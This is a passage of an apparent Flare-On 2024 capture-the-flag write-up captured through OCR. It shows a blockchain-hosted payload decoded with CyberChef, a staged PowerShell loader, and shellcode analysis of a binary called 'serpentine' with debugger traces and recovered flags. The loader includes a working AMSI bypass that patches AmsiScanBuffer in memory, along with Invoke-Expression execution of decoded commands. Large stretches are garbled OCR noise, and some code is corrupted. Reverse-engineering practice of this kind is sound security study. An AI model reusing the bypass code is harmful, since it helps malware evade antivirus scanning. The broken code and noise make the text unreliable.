SIS WS S L€ x L, THISAS HIoOd f IASS XY o f b b d S p oSS . X 4 4 ¢

giV3_M_ pdylL04d!

¥ 481 x ss.7 o sl x s 4 inputStringt s ¢ % <4 § 2

A > ~ v

0x5324eab94b236d4d1456edc574363b113cebf09d

<1 s L”5¢LLYSX~ ,,’3@-|y|:’><“:vz‘,’,>d‘x“¢s..|_x‘]qzt+>yix‘.=,,2|_-|-|”)~J

A >V ~

C LK S s SS XX x LI X X x I axx", ] "% paseb4ml S« . X IS

Ix %X [psl & sy 1 L7788 % sy .s3 4 @ X« xp *XI>X x Jl xx 4, ., %

e xS s Ll XD v L T XT3 XAy x
KolockNumber | 1 «ss_p ¥ ok { 7 x xbk X7 4 X 4 x « s

FAd A XX 40 % xeontextr S L X Xhadls 8 fe X x 0 X s 4 XYL

CLUE s S . Ise. X L ST U ST S X 4% o v LH 4 X g 4% T

@x . ”
S C XXX < {Ix” | %84, X X*x I f s " X% x T s .05« 53 X { Xsy L

~ Vi

X X qu:L: -|-|”"~x ~s\¢,,xs]\s|_§xc s ¢ Xx '|¥s.|v:s\ - “S"L~X X § S ” 13 xs {C%Y \s<xv x ”

@+ w1 41X XX HMs)"xx] pytecodgt - ox " | T ox X7
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Yoo s x b xss ]

0x5c880fch () public payable {
0x483(array_0.length);
bytes[](v0)
v3 vl.data;
0x483(array_0.length);
(\ZOR
(31 < v4){
v5 v6 array_0.data;
{
MEIN2] STORAGH];
v5 1;
v2 32;
(v3 v4 v2);

{
MEIN3] array_0.length
V7 bytes[](v1.length);

MCORV7.data, v1.data, v1.length);
v7[vl.length] 0;

T, Ho s T Xxse ] I3X DX DX L X XY ] e 3o Xl s T ] K

>

X “:NXLX:A‘_E £ v, S@ ,,,.‘X’ZJ\¢ssLxA>§§¢L_~,,vaxAs:L.| ,,““xxl_,,x>svv|_
PO x4 xowd X s o x 1 L XX Ppst testnet explordy x| fAXT s OF(Q 4 x| x X
. {],s<x~”LLL]ss¢ X)X x ]
¥ + XSS. | Xl lgs X 7
45 Latest 14 from a total of 14 transactions & Download Page Data 7 v
Transaction Hash Method ( Block Age From To Amount  Txn Fee
® 0x5a6675770ef 0x916ed24b 44335452 38daysago 0xAbS5Sbc603...6e740f04D N 0x5324EAB9...13CEbf09d 0BNB
® (O 0x096bc2f761 0x916ed24b 4315308 79 daysago OxAb5bc603...6e740f04D N 0x5324EAB9...13CEbf09d 0 BNB
@ 0x916ed24b 43153087 79daysago  0xAbSbc603...6e740f04D N 0x5324EAB9...13CEbf09d 0 BNB
®  0xd4c9d45desf 0x916ed24b 43153087 79 daysago 0xAbS5Sbc603...6e740f04L IN 0x5324EAB9...13CEbf09d 0BNB
@ xd086acbced 0x916ed24b 43153087 79 daysago  OxAb5bc603...6e740f04L N 0x5324EAB9...13CEbf09d 0 BNB
@ x6da 0x916ea24b 43152 79 days ago 3...6e740f04L N 0x5324EAB9...13CEbf09d 0 BNB
@ 0x916ed24b 43152132 79daysagoe O0xAbSbc603...6e740f04D N 0x5324EAB9...13CEbf09d 0BNB 344795
@ x05660d13d9 0x916ed24b 79 days ago xAb5bc603...6e740f04D N 0x5324EAB9...13CEbf09d 0 BNB
@ 0xb2405b84d6 0x916ed24b 43149133 79 days ago 0xAbS5Sbc603...6e740f04L IN 0x5324EAB9...13CEbf09d 0BNB
@ 0xef06996ee51 0x916ed24b 43149124 79daysago  0xAbS5Sbc603...6e740f04D IN 0x5324EAB9...13CEbf09d 0BNB
® 0x820549k 0x916ed24b 43149119 79daysago OxAb5Sbc603...6e740f04D IN 0x5324EAB9...13CEbf09d 0BNB
@ 0xdbf0e117fb3 0x916ea24b 43148912 79daysago  O0xAbS5bc603...6e740f04D N 0x5324EAB9...13CEbf09d 0 BNB .00018562
® 0xaed711c6e9 0x916ed24b 43145703 79daysago OxAb5bc603...6e740f04D N 0x5324EAB9...13CEbf09d 0 BNB
) 0x6423585149 0x60806040 43145529 79 daysago 0xAb5bc603...6e740f04L IN Contract Creation 0 BNB
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X X x X8 b~ x Al Pgransaction_ 1, x » 731 % s 47

Ao ~ ~ > v o~ > v v

Y X s 1 aises v s x x 0¥ 7 " 1 X x trahsaction hash

NAORRA0G 186 0R0BRA0A OAORRA0
08ea0eo0 2 08ea0eo0

54858546T366457357850932306b525
3 38556b6c755279

64651574a52516e7084252327

}5555a5868304c6d5641513083945615
a5438353252584a38 6T36526e4a7654574a68
852516e5242527a68425 3656b46485655466a6430466e5

View Input As ~

S UHRRG TR XS T XS G T 0 X s 4o ) X X hputidatae © 1 s 4T
XOAE s T U XD . basé4L X <Rt <! % W 14x7 CyberChat 4 1 . 1

X UsxT sd X e X X X hext T XX At S X ] @ s L
Yoo 4 s e AT X fsBa TS e L s 4 S X 48 .

SOs, « 4® XL F <P s L1 spibblesy X X . £.s455%2 o] Td 104 " AE
¥ Isle S | 4 s

d MOORE % 1 IS4t +4s 4us]

Recipe ~ OB B input + 020
N 5733405a63335246625335555a5868304 64564 513039456157 35645735705932396b525 706266636573 34e53
From Hex 3352466253356a54 26e4a7654574a68553055 75527967605358644355 5466a6430497751:
S 64465155785251625242527 368425246464 04666 5155564651574a52516e70425232744254464643 56454648545 5465355554
Auto 3151554d775156466516a46425231604257606443624546495 3554643515543 335155 644651575242516470425232644253 55464 3593046484 245464
5555464C51554e525156706e51603042523 160425256464 36 16b464451554651555546 60515556425 15560665155 35425157 39425246464 3656046434
3046695a304a755155424 25 1565633516a56425345 31425345464 30464F515546765157525251670425232744 25960644362
From Base64 ~ 454451554656642049315 15568485157 524251607842527 a4 2425447644355 30464956 5546695 330497 75 155647251574a52516078425 174524255314

43645546495555466155554a355155633451574e42516C524253315642502264434d6b464861304652643042735155684e51553033515535425157304

Alphat - 593046434d5546485355466951554a775155644e51556c42516d70425233644257564643656b46495455464a51554a745155646e51567062516a5642!
A-Za-28-9+/= [ezmeye a2l fp il dias 3831425355464343046424454644533046651554e4251556¢4251576442526e4242556b464 15568425157423351
6c425346064253304642, 155554a355155633051567052516e4e42524531425457644 26155464461 3846505555464 5155467 65155
4251576442513046425355464364384640 56554655304 a7 25 155647251566 335157 6442534531425245464361 15155424

O striet mode 51567052516a5242534646425 546425155424b515563305157524251646425 155554977

555a4251574e6e516e5a42523031425556464361304648555 5466a5a364a735155684e51574e33515739425 25 77442506064434d4546475155466b51'
4a355155464251574642516b354252726842576b46434d5546486430466155 5546 725155464251 574633516a424253456¢4259564643645 5464859364
4a51554a335155684a51574a3351607042525452425756464 3644546485655 464¢ 55545 3351554577515 5486251 576442513046425355464 25330464
6330465351554a7a5155643351564252516652425345464 25966644365 5546495555464¢ 515546705155647 2515670525168 6¢ 4252725242576 C4643
304645545546425a304670515546725156685251553542515730425355464252 30464451 5546425155423 35155685651 566¢ 6e516e4e425232744257!
48752 100RAOG A5 SARRE1EEAAREST S5 ARS) S 57AREI 51 RATALDE1 IALRAD ST Ar AR As A5 RIS S5 SARRTE SR EAA GG SEAAIAGT SEAFAIGT RhTALIEIT A
e g3se = 1 Tr Rew gytes

Output 5] I—|:| m I

[s¥stEm.Text.eNCODinG]: :unicedE. getStrinG([sYSTEM. CONVErt]: : FroMbaSE64stRING( “IWBSAGEACKHBBAGEALQBTAGBAIQBZAGUACWAEAEEADQE
AGKALQBTAGHAYQBUACOAQZB1AGYAZgR] AHTATABUAGEAJAR JAGEAT ABCAGAADQAKACQAZEBOAGY ALQB JACAAPQAGAEAATGANAAOACQBZ AGKADEBNACAAULBS)

MAdAB]AGBAD dQBzAGKALEENACAAL dAB1AGBALgB: QEIA(ﬂASQBuAHQL\ZQEyAGEA(ABTAGuncgBZAGkAVwElAHHAOwANAA
CAB1AGTADABPAGHATAB JAGWAYQBZAHIA IABmAGgAZgESAGI MATAB7AABACEAGACAATAAG Bt ARL QBsADMAN
AiACK TAAgACAAT gl g (0AaQB JACAAZQB4AHOAZOBYAGAATABJAGHAd ABQAHOACEAZAE CAZQBBAFAACEBVAGHAQQE
AGQACEBLAHMAC gl d B1AGWAZQASACAACWBBAHTAAQBUAGCATABWAHI AbYB JAEAAYQBLAGUAKQATAABACEAZACAAT AAE,

SARABSAGHASQBtAHAADWBYAHOAKAATAG SAZQBYAGAAZOB SADMAMEZAT ACKAXQANAACATAAZACAATABIAHUAY EB SAGKAY HAZAHIMAGABhAHQAZQB JACAAZ 0BAAHS
Z0By AGAATAB JAG4AdABQAHQACEAZAEWADUBhAGQATABPAGI AC gBhAHT AeQAOAHHAJABY AGKAbEZBNACAAD ZBAGBAZ QADAD SADQAK ACAATAAZACAANWB EAGUAL

BIAGOACABVAHIAGAACACTAZWBLAHIADEE] AGWAMAY ACIAKQBAAARACGAGACAAT (QB1AGHAQB JACAAC DAGMAIABLAHgACAB LAHIADE;
AGIADWBVAGWATABWAGKACEBOAHUAYQBS AF AACEBVAHQAZQB. ]AHQAKABJAGAMAEQAHQA CGAGAGHACABBAGQAZABYAGUACHB; zAchIABVA EkAbgBeAFAAdABY S
AAZQBAAGE A2gBTAHOAL AAGAHUAQEUAHQATABMAGWATEB LAHC AU AAbUB1AHQAIABL gl ABQAH

buBAGUAYIBBACKAOWANAROATQANAACA TgBAAABACEANAADAQQBKAGQAL QBUAH kA(ﬂBlL\CAA]AEmAGg,AZgE SAGHMADQAKAABACEAKAGAACZB IAHQAZIE 2AGQA:
AQAC AAKMBMAGEAZ gBSAGMAXQAGADOATABY AGEAZABMAGKAY gB yAGE ACGBS ACEATEAKACEAKAANAOMADQBZAOBAL BANACSATWBKAGWADAANACKAL gBOAES ACE)

D QAOAFSAYwB GANWAWACOAMWAXACBAMWAXACK (QACADEAMQAXACK (QROAFSAQgBS:
QAqudAnAAsAAsnnIAKQArAFsAQNBIAGEAUgadAcgAMQAwADkAKwAzADAALQMADAAKQArAFsAQuauAGEAUgadACgANQAaAcsANQAeAckAKQAgAcaAchlAH
bABhAGHAZOQAg) 1gBAACEAKB1L DUAYWAPAC gAVOBY TAHQBUAEUAXQAwAHg, b
BBAFL IgAZACS AMAADT, 1AGEACgBAACEA B AHKAJABLAF BAMABAADQAZAA PACS AlWBDAGZAQQBSAF BAKABDAGT AWQBUAEUAXQ)

STEP AHgANgBIACKAK IAHTAXQ; gBSAF QARQBAADS PACTAKQANAAOATABuUAGOAE QB 3AGCAbIAZADBATABDAGYARABMAHKAY B A
Auto Bake ANPRHAGIIAAARAHTANLR TAFF A7 ARKAHTA70R? AHHAKAAKAGS Ae PR AAHNAT UR? AGOA| AAFACTATAARACSATUNRAGRACHNSAFMAYUANACSATUNKAGAAN A1 AR
me 3535 = 1 () omc Ty Raw Bytes & LF (detect]

s hox X @ 18 Dbkt ! ! x <powershelld | 4 58 ¥ LT 447
Y *3% 4.4+ 1GPFTs -~ w41

> v oA ~ a

$code = @"
using System;
using System.Runtime.InteropServices;
public class AmsiBypass {
[Dllimport("  kernel32 ")]
IntPtr  GetProcAddress (IntPtr hModule, string  procName);

Dllimport  ("kernel32
extern IntPtr LoadLibrary(string name
Dllimport ("kernel32" )
extern bool VirtualProtect(IntPtr IpAddress, UlIntPtr dwSize, uint
fINewProtect, out uint IpflOldProtect );
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}
‘@

Add- Type $code

$amsiDl| [AmsiBypass]:: LoadLibrary (“"amsi.dil" )

$amsiScanBuffer [AmsiBypass]:: GetProcAddress ($amsiDIll,  "AmsiScanBuffer" )
$oldProtect 0

[AmsiBypass]:: VirtualProtect  ($amsiScanBuffer, [uint32] 5, 0x40, [ ]$oldProtect)

$patch = [Byte[]] ( OxB8, 0x57, 0x00, Ox07, 0x80, OXC3)
[System.Runtime.InteropServices.Marshal]:: Copy($patch, 0, $amsiScanBuffer, $patch.Length)

i transactiong® . L » * X4 01 S hsd, & x Y {Tex 14 X amsibypass 1. &~ o~ 7

1" 1, ofuscateds 1 s1x 41 4 «xsx {1 s4  transactiomf 4 : « . x sX x X

¥ « . X «sPlwerDecode _ Bithubrf 4 - « A Ix ¢ X

Set- Variable - Nametestnet_endpoint -Value ("" )

Set- Variable -Name_body -Value
('{"method":"eth_call","params":[{"to":"$address","data":"0x5c880fch"},

BLOCK],"id":1,"jsonrpc":"2.0"} )

Set- Variable -Nameresp -Value ((Invoke -RestMethod -Method 'Post’ - Uri $testnet_endpoint
ContentType "application/json" -Body $_body) .result )

Set- Variable - NamehexNumber - Value ($resp -replace '0x' , " )

Set- Variable - NamebytesO -Value (0..($hexNumber.Length /2 - 1) ForEach- Object {
Set- Variable - Name startindex -Value ($ * 2)
Set- Variable - Name endindex - Value ($startindex + 1)
Convert | ::ToByte($hexNumber.Substring($startindex, 2), 16)
D
Set- Variable -Namebytesl -Value (| System.Text.Encoding |::UTF8.GetString($bytes0))
Set- Variable -Namebytes2 -Value ($bytesl.Substring(64, 188))

Set- Variable - NamebytesFromBase64 -Value (| Convert | ::FromBase64String($bytes2))
Set- Variable - NameresultAscii - Value
(| System.Text.Encoding | ::UTF8.GetString($bytesFromBase64))
Set- Variable - NamehexBytes -Value ($resultAscii ForEach- Object {
{0:X2} -f$ _
)

Set- Variable -NamehexString -Value ($hexBytes -join
Set- Variable -NamehexBytes -Value ($hexBytes -replace "" , ™)

Set- Variable -Namebytes3 -Value (0..($hexBytes.Length /2 - 1) ForEach- Object {
Set- Variable - Name startindex -Value ($ _ * 2)
Set- Variable - Name endindex - Value ($startindex + 1)
Convert | ::ToByte($hexBytes.Substring($startindex, 2), 16)

)
Set- Variable - Namebytes5 -Value (| Text.Encoding |::UTF8.GetString($bytes3))

Set- Variable - NamekeyBytes -Value (| Text.Encoding |:ASCIl.GetBytes( "FLAREON24))

Set- Variable - NameresultBytes -Value ())

(Set - Variable -Namei - Value (0) $i -t $bytes5.Length Pi++) {

Set- Variable - NameresultBytes - Value ($resultBytes + ($bytes5 $i | -bxor $keyBytes | $i %
$keyBytes.Length 1))
}

Set- Variable - NameresultString - Value
(| System.Text.Encoding | ::ASCII.GetString($resultBytes))
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Set- Variable - Namecommand- Value ("tar -x -- use-compress-program ‘cmd /c echo $resultString
>C:\\flagt -fC: \\flag" )
Invoke - Expression $command

R o X XX S | % x U] RLAREQRMIF XOr- * % X s Ss{w, it & 4 {s"¢

S v ATIAD 4 L T XX XD v s T x 0§ sd | datart L © X~]:"x dransactions

CyberChet 1 L recipat

Find

ox SIMPLE STRING ~ Replace

[ Global match Case insensitive [J Multiline matching
[J Dot matches all

From Hex A
Delimiter
Auto
Take bytes o~
Start Length
64 188 D Apply to each line
From Base64 &
Alphabet
A-Ta-z0-9+/= - Remove non-alphabet chars

[ strict mode

From Hex &

Delimiter

Auto

XOR ~

Key
FLAREON24 HEX~

Scheme

Standard

[ Null preserving

CLUPR: X fosxie xisXhexd 1l D84l D BSIX 44X o4 dd K4 T HY s
@ Y AR - I ysx¢ R N N x| xXIsA 431 ., § X x,_\xx\-|z|_:~x ok Tx 1"
JH 7 o e L 4D T e WY ST S BKINX s S X

1+« .88 4 .87 x si1* d ” transactiont . _inputdatat - ~~ 4 % T S oW )X

v~

Yooyl s X 8 ox o

~

NOt_3v3n_DPRK_i5_Th15_1337_1n_Web3@bareo

J @i ¥ s X XX s DX o | XWX mX x s, s] o

~
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Srpentine d

i

, .Y S. « S

s dlesy D88 404, A4l T B L s XJ T x g % {ssC sy DS

PIx44 Ple @ X« v «FHBreOn: x 4 x 2 3 0 K43 £ ¥ 7T 4 S % | (087

=

X

Y P4 «x.mainrt o

RS L X KK L s T LT AR T X s ] BT S L X e X
P X -

X v " | Xs

XX s

v

S 4 L1, sépentine-s_ PE x y @Bl | x X X ¥ DX

{

int _ fastcall main(int argc, const char **argv, const char **envp)

SetUnhandledExceptionFilter(TopLevelExceptionFilter);
if ( argec == )

if { strlen(argv[1]) == 32 )

1
strcpy(Destination, argv[1l]};
({woid (_ fastcall *)(char *))lpAddress)(Destination};
return @;

}

else

puts{"Invalid key length."};
return 1;

}
}

elsze

printf("%s <key:\n", *argv);

~

return 1;
h
b
S I X LD P XOHE T XTI L T Y S X ] d.s L ST XS opys T X
L] xs"’v: . v,,s,,~>< 13 . "K~° ., X Iv X $'s IpAddress' xx 1% ~ssv-,-[= o . XX o~
L ! xshéllcode™ , 1 ™ x © dhaimg {17 ; ¥« S ™i0x 0 x 7 x| TWSCallback v x| | X
¥ o5 H « LA o] xS | X 8 42 « 7 KK xOky.nnnnn
1 fvoid _ fastcall TlsCallback @(__int&4 al, int al)
21
3| if (a2 ==1)
4
5 lpaddress = Virtualalloc(@icd, @x3880860uilcd, Bx3868u, Bx48u);
6 if { !lpAddress )
7 1
8 puts("Unable to allocate memory.");
] exit(1);
18 1
11 likely memcpy((_ ml28i *)lpAddress, shellcode, @x382888uisd);
1z
13| else if ( la2z &8& !'WirtualFree(lpAddress, @8i64, BxB3888u) )
14 i
15 puts("Unable to free memory.");
16 exit(l);
17| 7
8 [}
FlareOn 2024
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TOATAY FA eSS s 4 sHXT” _ x4l DAt S " X % yse X | s{ 1L 1s

privileged . _exceptiorm © _ -~ Xy ¢ssl x (hips {shellcodet - {1 - ~» "X slL® s

~ o~ > ~

®ernel modet « ~, x s L «x{"aZer modet s . ~ 1 s instruction

1S v sSSP flie st H YA deption « K nr 0S¥ T X

~ ~

m X ~ 1 4 0 A control flow obfuscatiors ¢ 1 ” « x st ¢ 1 exception handlef ' x «
Ynaimg © 0 4 157% 08 4 X8 SXd 44 4+l 4 0L

SetUnhandledExceptionFilter (TopLevelExceptionFilter)

X Moy Yoo XEqqlyds, 1 w3 10 4 5L dedceptions 4, x4 ¥ e XL W €
Tx i T x sl o x s oas b ) SO 8w SIDAYE L X" L S Sl sy

M0 WMindbgr o X 4 i1 SRIE X ES 5 4 B sy KD g LK x

~ >

& - I stime Travel Debugging

F¥e ST oAY N Ay o % Qlsx Log sk 4 L & L, ~Time TraveDebugging
Windbgts « 5 Y@ 1y s X X T

Start debugging

T Re Executable:

* cent

- Cictfs\writeups\levelf\serpentine.exe
= Launch executable Arguments;

ABCDEFGHUKLMNOPQRSTUVWXYZ012345
Launch executable (advanced)

Supports Time Travel Debugging Start directory:
Attach to process |CActfs\writeups\leveld)
supports Time Travel Debugging Target architecture: @ | Autodetect v
=| Open dump file Gbre AT e
|_% Open trace file Record with Time Travel Debuggin
Configure and Record @ ‘
-!; Connect to remote debugger
-1+, stépxintod : 1 shellcoder s -« {1 -bred&kpointd = _ @& ~ ¥ X:xx{4s” 9 ¢ 1 < x
1D 4 0 KT 9s sl Pxss { X+ | ptdlI'KiUserExceptionDispatch

s {s ¢ X x@ exception handling x 1% «x x ., L Q f ksXC s x" 8 X, |«

>

TB 1 e weS, X7 A S A 4SS L AT Y ] kX K
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¢ v XA 'I”HXN'P(: | :V \.|_|_¢ JLXX qu S . X|_" AS( rror

~

XTI S S Y

« S . s X

~

YDAL © X o X7 x (mBifd " s w X I v vd® 4 CIDATE K AT L 1 s

~

1
printf("Flag: ¥s@flare-on.com\n", Destination);
exit(@);

E Functions 0 & x
function name Seg ™
sub_140001000 dex
sub_ 140001030 Jex
sub_ 140001060 Jdex
sub_ 140001090 Jdex
sub_1400010B0 dex
TopLevelExceptionFilter Jtew
sub_1400011B0 dex
sub_1400011F0 dex
sub_140001230 Jex
sub_ 140001270 Jdex
sub_140001430 dex
TsCallback_0 Jtew
main dex

YA A I 4. x
vold  noreturn win_func()

}
X oY XS Y lss  wxsy{xg Y Sy, | 4Ss xS

vold  noreturn wrong_func()
1

printf("Wrong keyin™);

exit(1);
¥

S I (e S, « ¥, 8" xl x

| DWORD * _ fastcall sub l4e@8leBe( intsd al)
1

_DWORD *v2; // [rsp+2Bh] [rbp-28h]

v2 = gperator new(@xCuisd);

*y2 = al - *((_QWORD *)&unk_ 148898978 + 1518);

v2[1] = *v2 + 1;

wv2[2] = v2[1] + *{unsigned _ intd *){al + 1) + 1;

v2[2] 4= (v2[2] & 1) != B;

return v2;
i
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“

Xss § 0 ¥ ., X »

¥4 VxR vs

§ 7 xs¥ X

1

¥ DWORDS _ x

~ >

return @i64;

+

|_int64 sub_l48081438()
{
oid {_ fastcall *w1}{_ int64, QWORD, _ ints4
vl = (woid {_ fastcall *)(__int64, _QWORD, i
if (vl )
*(({_QWORD *)Bunk_14889897@ + 1518) | 3i64,
*((_QWORD *)&unk_14039397@ + 1518),
Bx2E4D26i64,
quord_148822008[1286],
Bic4,
@i64) ;

, _QWORD, _QWORD, _QWORD); // [rsp+3@h] [rbp-28h]

nt64, _QWORD, _QWORD, _QWORD))*((_QWORD *)&unk_14889B916 + 3981);

// TableIdentifier
// base address of shellcode (lpAddress)

// ptr te callback function

F o~ 14060 Y O*RillhstallFunctionTa

bleCallback: « ~» XS X @ { 44”131 x 4 1sx « X

1.

4s. T« <« «'Qallback functiort -

\jﬁﬂscb‘,'IL".I“X”>SS>|_-|A\,|L+(”‘_”_IX

v q{s I xs ”sx s *x 8 X i o oxs Usx xI"X0 o ss X XS{.lxXss | ys®%X
@ A x A% sx mdind "X L oSXsisx | x < §s_« ., tdlbackt ¢ L x| |
XX 4{® T - LSS Xl x & s 7Xd 5% g Xsx X xs « { % £s8” X ¢4 5 T 4!
L H 1224 2 x X xs {6 x %« X4 *Windbgr 1 - ~CHD X 4 45 | B C
XL Fd e 4 D 4T X Axxyd” 4 ¥ XX % thardware breakpointg _+ld4 o~ £ 4
ntdll'RtlpExecuteHandlerForExceptiéne x = ~S» + 1 XX 4 T A "1y se > 44, T «
B
ntdll!RtlpExecuteHandlerForException:
Bees7ffd” 8bod28b8 4883=c28 sub rsp, 28h
Bees7ffd” 8bod28bd 4c394c2428 mov qword ptr [rsp+28h], ro
seea7ffd 8b9d28bo 498b4138 mov rax, qword ptr [r9+38h]
peag7ffd’ 8bod28bd ffde call rax
Bees7Tfd” 8bod28bf 96 nop
Beea7ffd 8b2d28c8 4883c428 add rsp, 28h
Bees7ffd 8b9d28cd c3 ret
CAL 4y s THIX T x w8t oy " sBellcodef s |ox L2 §4x T r@TS A 4 o« S

callms « 1 -bredkpointr 1 ~dd |~ ¥+ + 5 44, x x> flawre L S « xs 7 X s 4 (ILxX]
X@ i L S ® T 1 Kraxe X
11 ¢~ xshellcodet 24 "sd 4 J{lxx < «s 7 shellcodet -2 _ y-x 4s__*] A
Tooed Do TR X XS TS X d WSS o] X084 XXl s (X
L o~L Isd - Xy s Jdwindbgr 1 | 1 ~ «  stépintos _ x4 7 4 ! 1]x Shellcode
B IR T L I I R S B R IAE Y 51 INNNE I L
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« -1 _ %X s { stime travel debugging c4*~ « "L 4> ¥ % { vsesSidn! 1 <+ sS4 . L«
[ONNERS 1 1 XIXX | <,88 X | -L,L‘X’L-I\XVX.ZS”LLV
= ’ . = .
1T 1«1 10memory leak * {1x« » x ¥ 0 s |« ({ "1 4 NS oL L)
P s 4 Ls " X L3S S1447, sioxxyd 3 X% .~ % YY
¥hellcodet - + ~ «s"" x s, % s "
2 Function call #0 at RAX: 0x6990098
3 00000000°06920098 =88adc2el0 call 00000000 06cT4d27
4 00000000 06c74d27 8£0533000000 pop gword ptr [0000000006c74d60] # 0000000006c74d60 2a51d834céce50d0
5 00000000 06c74d2d 50 push rax
6 00000000 06c74d2e 48cT7c000000000 mov rax,0
7 00000000 06c74d35 8a25ebffffff mowv ah,byte ptr [0000000006c74d26] # 0000000006c74d26 4b
8 00000000 06c74d3b €78d804970497f 1lea eax, [eax+7F497045h] # 000000007£49bb49 22222222222222272
9 00000000 06c74d42 890501000000 mowv dword ptr [0000000006c74d49],eax # 0000000006c74d49 ad4cdéba
10 00000000°086c74d48 58 pop rax
11 00000000 06c74d49 49bb497fdd0a01000000 mov rll, 10ADD7F4%h
12 00000000 06c74d53 c705ecffffffdd426767 mov dword ptr [0000000006c74d44%],6767420Dh # 0000000006c74d49 7£4%bb49
13 00000000 06cT74d5d 50 push rax
14 00000000 06c74d5e 48b85d00950600000000 mov rax, 69900%Dh
15 00000000 06c74de8 488d4005 lea rax, [rax+5] # 00000000069500a2 6873775436685341
16 00000000 06cT74dec 48870424 xchg rax,quword ptr [rsp] # 000000000&67fef70 0000000006990098
17 00000000 06c74d70 <3 ret
18 00000000°069900a2 4153 push rll
19 00000000°089900a4 €836547773 push 73775436h
20 00000000°089900a9 ©68434cal6s8 push 68A04C430h
21 00000000°089900ae 68f97£9112 push 12917FFS%h
22 000000007 089900b3 e8dedc2ell call 00000000 06c74d96
23 00000000 06c74d96 8£0532000000 pop gword ptr [0000000006cT74dce] # 0000000006c74dce B80dase5f6%ed1558
24 00000000 06c74d%c 50 push rax
25 00000000 06c74d%d 48c7c000000000 mov rax, 0
26 00000000 06c74dad B8a25beffffff mowv ah,byte ptr [0000000006c74d60] # 0000000006c74d60 9d
27 00000000 06c74daa €78d8048e44324 lea eax, [eax+2443E448h] # 0000000024448148 222222222222222°2
28 00000000 06c74dbl 890501000000 mowv dword ptr [0000000006c74db8],eax # 0000000006c74db8 B88cE908b
29 00000000 06c74db7 58 pop rax
30 00000000 06c74db8 48814424189£3%ac35 add gword ptr [rsp+l18h],35AC39SFh # 00000000067fe£70 000000010add7£49
31 00000000 06cT74dcl c705edffff££8479cf62 mov dword ptr [0000000006c74db8], 62CF7984h # 0000000006c74db8 24448148
32 00000000 06éc74dcb S50 push rax
33 00000000 06cT74dee 48b8bE00S50600000000 mov rax, 69900BEh
34 00000000 06c74dde 48844004 lea rax, [rax+4] # 00000000065500bc 0d40297002e4d3eed
35 00000000 06cT74dda 48870424 xchg rax,qword ptr [rsp] # 00000000067fef50 0000000006%90098
36 00000000 06cT74dde <3 ret
37 00000000°069900bc e83e4d2e00 call 00000000 06cT4dEf
38 00000000 06c74dff 8£052e000000 pop gword ptr [0000000006c74e33] # 0000000006c74e33 dalabb50d3340aba
39 00000000 06c74e05 50 push rax
40 00000000 06c74e06 48cT7c000000000 mov rax,0
41 00000000 06c74e0d 8a2Sbbffffff mov ah,byte ptr [0000000006cT4dce] # 0000000006cT4dce b8
42 00000000 06c74el3 £€78dB80eS%25p2dl lea eax, [eax-2E4DD617h] # ffffffffdlb2elel 2222222222222227
43 00000000 06cT74ela 8950501000000 mov dword ptr [0000000006c74e21],eax # 0000000006c74221 208343d1
44 00000000 06cT74220 58 pop rax
45 00000000 06cT74e2]l e91b2dlff Jjmp 0000000006950107
46 00000000°06950107 f4 hlt
S T R IR 5 S I I S A CL O N I S T i I S S H

tion

v

TRV L L BN

N

~ <

Y X3 L xsPE i

# <address> <value at address>

g @ d.>x {54 {7 s &

Tx Ll EE s w4 A,

sXxx p]Is ] $ ¥ x

. ”<XXSV'|¢' S ¥ 856 x
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https://gist.github.com/dani0104/e4408ea3afd7152d5b7c1a3553bbccb2

Fon X ” . X . ”

Y-|-|§'|;EAL>J_SY' xJ* ) 0 ox KX x~><'|lsx.“\>sssq-|&>>s,,>s‘;Avs|=’¢\
Function call #1 at RAX: OxeF501IAT
00000000 065901a7 498b6928 mov rbp,gqword ptr [r%+28h] # 00000000067fe648 00000000067£=0d40
00000000°069901ak efbad4c2ell call 00000000 06cT4e6a
00000000 06c74eba B£0530000000 pop gword ptr [0000000006c74eal] # 0000000006cT4eal  24c7364615923844
00000000 06c74e70 50 push rax
00000000°06c74e71 48c7c000000000 mow rax, 0

00000000 06c74e78 Ba25SbSffffff mov
00000000 06cT4e7e 678d8048cabecel  lea
00000000 06c74e85 890501000000 mov
00000000 06c74e8b 58 pop rax
00000000 06c74e8c 488bbde0000000 mow

00000000 06cT4ede Bal2Sbeffffff mov
00000000 06c74esd 678dE80e963b2dl  lea

00000000 06c74eeb 890501000000 mowv

00000000 06c74efl 58 pop rax
00000000°06c74ef2 2913b3d1£ff jmp 00000000°069%020a
00000000 0699020a f4 hlt

ah,byte ptr [0000000006c74e33] # 0000000006c74e33
eax, [eax-1F4335B8h] # ffffffffelbdib48
dword ptr [0000000006c74e8c],eax # 0000000006cTdelc

rdi,qword ptr [rbp+0EOh] # 00000000067felkb0
00000000 06c74e93 c705efffffffce9p27d6 mov dword ptr [0000000006c74e8c], 0D6279BCER # 0000000006c74e8c e0bdib4s

rax,qword ptr [rsp] # 00000000067£e030

gword ptr [0000000006c74£04] # 0000000006cT74£04

00000000 06c74e9d 50 push rax

00000000 06c74e9%e 48b8b00195%0600000000 mov rax, €9901B0h

00000000 06cT4eald 48844002 lea rax, [rax+2] # 00000000069901b2
00000000 06cT4eac 48870424 xchg

00000000 06cT4ebl c3 ret

00000000°068901b2 480fbeff MOVEX rdi,dil

00000000 068901b6 e8154d2e00 call 00000000 06c74ed0

00000000 06cT4ed0 8£0522000000 pop

00000000 06c74edé 50 push rax

00000000 06c74ed7 48c7c000000000 mow rax,0

ah,byte ptr [0000000006c74eal] # 0000000006cT4eal bO
eax, [eax-2E4D9C17h] # ffffffffdib313e9
dword ptr [0000000006c74ef2],eax # 0000000006cT4ef2

270299272222 2222727

alc2dddf

4cdb4a4948474645

2e4dl15e8ffh60£48
0000000069901a7

3cedaced072cdé631

2R292PRPRR02?77

4a%7ce55

YL, J=.|A¢>qs"v<."|sl~)

(reversed accounting for endianess)

pop 1~ 1 s A

a > v o~

shellcodet
TX L, d Q8 s X x g Bises X

S v LX L X, b osX x 1] " s

X

xiJe $ ipopraxi " s L x (1 7s xs

X x O xE, X §X] P] X B L5 XX X] B8 EF s,

S %, X OSTX s N X« qrax

¥ X7

~ >

0000000 06c74d42 890501000000 mov
0000000 06c74d48 58 pop rax
0000000 06c74d4S 49bb4587fdd0a01000000 mov rll, 10ADD7F45h

dword ptr [0000000006c74d4q],eax # 0000000006c74d49

0000000 06c74d53 c705ecffffffdd426767 mov dword ptr [0000000006c74d49], 676742DDh # 0000000006c74d4% 7f45bb4S

ad4c4éba

¥ oo x T F1sE"{ 8 L5 L 8]

X X" s s Cixx A

VALX.” ¢ xv'|x~>s Ic

movzx rdi, dil

